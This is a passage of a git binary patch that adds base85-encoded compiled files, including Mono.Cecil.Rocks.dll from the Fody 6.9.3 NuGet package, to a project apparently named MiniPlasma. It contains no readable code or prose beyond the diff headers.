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 literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/Fody.6.9.3/tasks/netstandard2.0/Mono.Cecil.Rocks.dll b/MiniPlasma/packages/Fody.6.9.3/tasks/netstandard2.0/Mono.Cecil.Rocks.dll new file mode 100644 index 0000000000000000000000000000000000000000..4ee9d53daf31ff6e3571c44d7895dcdfabc7c41b GIT binary patch literal 27136 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 